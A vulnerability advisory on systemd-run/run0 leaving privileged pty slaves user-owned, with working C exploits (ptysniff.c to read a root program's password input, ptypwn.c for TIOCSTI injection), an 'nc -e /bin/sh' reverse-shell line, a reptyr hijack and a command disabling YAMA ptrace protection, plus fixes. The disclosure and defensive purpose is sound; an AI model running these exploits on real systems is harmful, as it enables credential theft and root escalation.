Systemd Insecure PTY Handling

`Systemd Insecure PTY Handling Vulnerability  
===========================================  
CVSSv3.BaseScore: 5.8  
CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N  
  
Short Description  
=================  
Systemd-run/run0 allocates user-owned pty's and attaches the slave  
to high privilege programs without changing ownership or locking   
the pty slave.   
  
Description  
===========  
Systemd-run/run0 is working towards a "sudo"-like replacement for   
v256 that is based on the existing policykit and d-bus based "systemd-run"   
transient service execution. The code in "src/run/run.c" on line 1673   
creates a PTY master and slave used for this process, and the slave   
name is passed to unlockpt() on line 1689. This allows any process to   
connect to e.g. "/dev/pts/4" slave interface, this interface is created   
under the local user context executing "systemd-run". The code subsequently   
uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication  
by policykit is approved, the slave end of the pty created will be  
attached to the privileged executed program. As the slave interface  
is not locked to the privilege level of the newly executed process,  
a vulnerability is introduced to the system as any same-user process   
can now interact with the slave end of the root program.   
  
Exploitation   
============  
This issue can be exploited by opening a handle to the slave interface  
and using terminal I/O routines such as read() to access the input of  
the root program. Slave PTY's are not designed for multiple programs to  
access them and this has the unintended effect of redirecting input  
intended for the privileged program back to unprivileged processes, an  
example code "ptysniff.c" is provided here and terminal output that shows   
the issue being used to read input from a systemd-run executed "passwd"   
program, returning the password intended for the root program back to the   
local user.  
  
User Terminal  
=============  
The user executes systemd with "--pty" to allocate a new "root" pty and  
execute "passwd" in the new terminal.  
  
fantastic@fantastic-pc /dev/pts  systemd-run --pty passwd  
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====  
Authentication is required to manage system services or other units.  
Authenticating as: fantastic  
Password:  
==== AUTHENTICATION COMPLETE ====  
Running as unit: run-u63.service  
Press ^] three times within 1s to disconnect TTY.  
New password:  
Retype new password:  
  
Attacker Terminal  
=================  
The slave end of the systemd-run terminal is still owned by the local user  
context, "/dev/pts/5" in the example above - allowing ptysniff to read the  
password input intended to be sent to "passwd".  
  
fantastic@fantastic-pc  /Work/voldermort  ls -al /dev/pts/5  
Permissions Size User Date Modified Name  
crw--w---- 136,5 fantastic 4 May 08:51  /dev/pts/5  
fantastic@fantastic-pc  /Work/voldermort  ./ptysniff /dev/pts/5  
Received: p  
Received: a  
Received: s  
Received: s  
Received: w  
Received: o  
Received: r  
Received: d  
Received:  
  
/* ptysniff.c - read from a slave pts used by a higher privileged program */  
#include <fcntl.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <sys/file.h>  
  
#define BUF_SIZE 1024  
  
int main(int argc, char *argv[]) {  
if (argc != 2) {  
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);  
return 1;  
}  
int fd = open(argv[1], O_RDWR | O_NOCTTY);  
if (fd == -1) {  
perror("open");  
return 1;  
}  
char buf[BUF_SIZE];  
ssize_t numRead;  
while (1) {  
if (flock(fd, LOCK_EX) == -1) {  
perror("flock");  
return 1;  
}  
numRead = read(fd, buf, BUF_SIZE - 1);  
if (numRead == -1) {  
perror("read");  
return 1;  
}  
for (int i = 0; i < numRead; i++) {  
printf("Received: %c\n", buf[i]);  
}  
if (flock(fd, LOCK_UN) == -1) {  
perror("flock");  
return 1;  
}  
}  
return 0;  
}  
  
Recommendation  
==============  
It is recommended the systemd-run created pty slave interface  
is chown()'d to the same user as the privileged execution context  
that it operates, this would result in "permission denied" when  
attempting to attach another program to the slave end of the pty.  
  
Additional Information  
======================  
In addition to the vulnerability outlined above, it is possible to  
exploit the problem to execute commands or completely hijack the   
root owned program from the same-user context when other conditions   
are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a  
protection that limits the use of ptrace for debugging purposes.  
With ptrace_classic set to enabled, such as with the following   
command.  
  
"echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope"   
  
It is possible to simply read the master fd for the pty from the  
"systemd-run" application, and re-parent a process to use the   
master end - hijacking the root program which would not be accessible  
to ptrace. This can be done with GDB (set inferior tty) or a tool such   
as "reptyr".   
  
User Terminal  
=============  
fantastic@fantastic-pc  /Work/systemd   main   systemd-run --shell  
Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1  
Press ^] three times within 1s to disconnect TTY.  
[root@fantastic-pc systemd]#   
  
Attacker Terminal  
=================  
fantastic@fantastic-pc  /Work/systemd   main   ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty  
fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell  
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)  
/dev/pts/1  
fantastic@fantastic-pc  /Work/systemd   main   reptyr -T 5541  
[root@fantastic-pc systemd]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc systemd]# tty  
/dev/pts/0  
  
Enabling ptrace_classic should not result in "root" permissions to unprivileged   
users, many operating systems support debugging applications and can do so without  
immediately giving away Administrative rights, YAMA is intended to provide this  
protection. However, sessions and terminals started under "SSHD" for instance are   
protected against these attacks through use of "prctl()" to prevent ptrace_attach   
from connecting to the process, preventing them being read even with ptrace_classic.   
This issue can also impact "su" and "sudo" and is a wider problem in Linux when   
ptrace_classic is enabled. Ensure that production systems do not support the use  
of ptrace_classic.  
  
Another path of exploitation can also be undertaken by an attacker when ptrace_classic  
is disabled, however they must be able to re-parent their tty or have control of execution   
of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically  
required only the same user-context to access the tty, however to limit these attacks Linux  
now requires the process calling the ioctl() to be a descendant of the parent process using  
the pty or have the pty set as its controlling terminal. An example is shown here, an attacker   
uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run   
by the parent. The source code for ptypwn.c is provided.  
  
User Terminal  
=============  
fantastic@fantastic-pc    tty  
/dev/pts/3  
fantastic@fantastic-pc    nc -e /bin/sh localhost 1337 &  
[1] 6926  
  fantastic@fantastic-pc    systemd-run --shell  
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====  
Authentication is required to manage system services or other units.  
Authenticating as: fantastic  
Password:  
==== AUTHENTICATION COMPLETE ====  
Running as unit: run-u100.service  
Press ^] three times within 1s to disconnect TTY.  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc fantastic]#  
  
Attacker Terminal  
=================   
fantastic@fantastic-pc  /Work/voldermort  nc -v -v -l -p 1337  
Listening on any address 1337 (menandmice-dns)  
Connection from 127.0.0.1:49282  
tty;id  
not a tty  
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)  
./ptypwn /dev/pts/3  
./ptypwn /dev/pts/3  
./ptypwn /dev/pts/3  
  
/* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */  
#include <fcntl.h>  
#include <stdio.h>  
#include <string.h>  
#include <sys/ioctl.h>  
  
int main(int argc, char *argv[]) {  
if (argc != 2) {  
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);  
return 1;  
}  
int fd = open(argv[1], O_RDWR);  
if (fd < 0) {  
perror("open");  
return -1;  
}  
char *x = "id\n";  
while (*x != 0) {  
int ret = ioctl(fd, TIOCSTI, x);  
if (ret == -1) {  
perror("ioctl()");  
}  
x++;  
}  
return 0;  
}  
  
Additionally systemd-run supports a "--pipe" operation which will simply connect the privileged  
process to the same-user parent tty directly, this option should be removed entirely as it offers  
no protection against the attacks outlined above.   
  
PolicyKit / sudoer Configuration Discrepancy  
============================================  
It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux   
environments where users are not permitted to execute commands through "sudo" but are permitted  
to execute commands through policykit services such as "systemd-run". This can lead to attackers  
who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run".  
An example of this configuration error can be seen below, as "systemd-run" proposes to become a   
"sudo" replacement, this issue has been included for completeness and for system administrators to  
review their sudo and policykit configurations to ensure such discrepancies do not exist.   
  
fantastic@fantastic-pc    sudo su -  
fantastic is not in the sudoers file.  
  fantastic@fantastic-pc    systemd-run --shell  
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====  
Authentication is required to manage system services or other units.  
Authenticating as: fantastic  
Password:  
==== AUTHENTICATION COMPLETE ====  
Running as unit: run-u107.service  
Press ^] three times within 1s to disconnect TTY.  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)   
  
TLDR; Conclusion  
================  
Systemd-run/run0 should chown() the created slave pty interface to the same user context  
using the pty, this will limit privilege escalation opportunities within the system and  
address the medium risk issue highlighted at the start of this advisory. The additional  
information in this advisory discusses wider Linux pty security handling issues, insecure   
configurations and thier exploitation naunces that can be leveraged for privilege escalation   
attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar  
threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain  
elevated rights through insecure pipe handlers were quickly addressed. It is also noted that  
despite the insecure system configurations, applications such as "SSHD" protect against some  
of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening  
on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()  
is recommended, the Linux community should take note that the attacker threatscape has changed  
significantly with a renewed interest in targetting these systems by adversaries - consideration  
should be given to hardening PTY/TTY handling processes and protection against ptrace_classic  
regardless when privileged system operations take place. Attackers are less likely to use  
on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the   
requested permissions at a later date without touching disk from implants or other malicious   
code that has obtained execution in the contexts described above. In relation to security   
boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to  
persitent. This means that every request to systemd-run for elevation should present the user  
with a password prompt, by exploiting this issue the elevation request behaves as persistent   
for the lifecycle of the elevated program.   
  
-- Hacker Fantastic 04/05/2024  
https://hacker.house  
  
  
`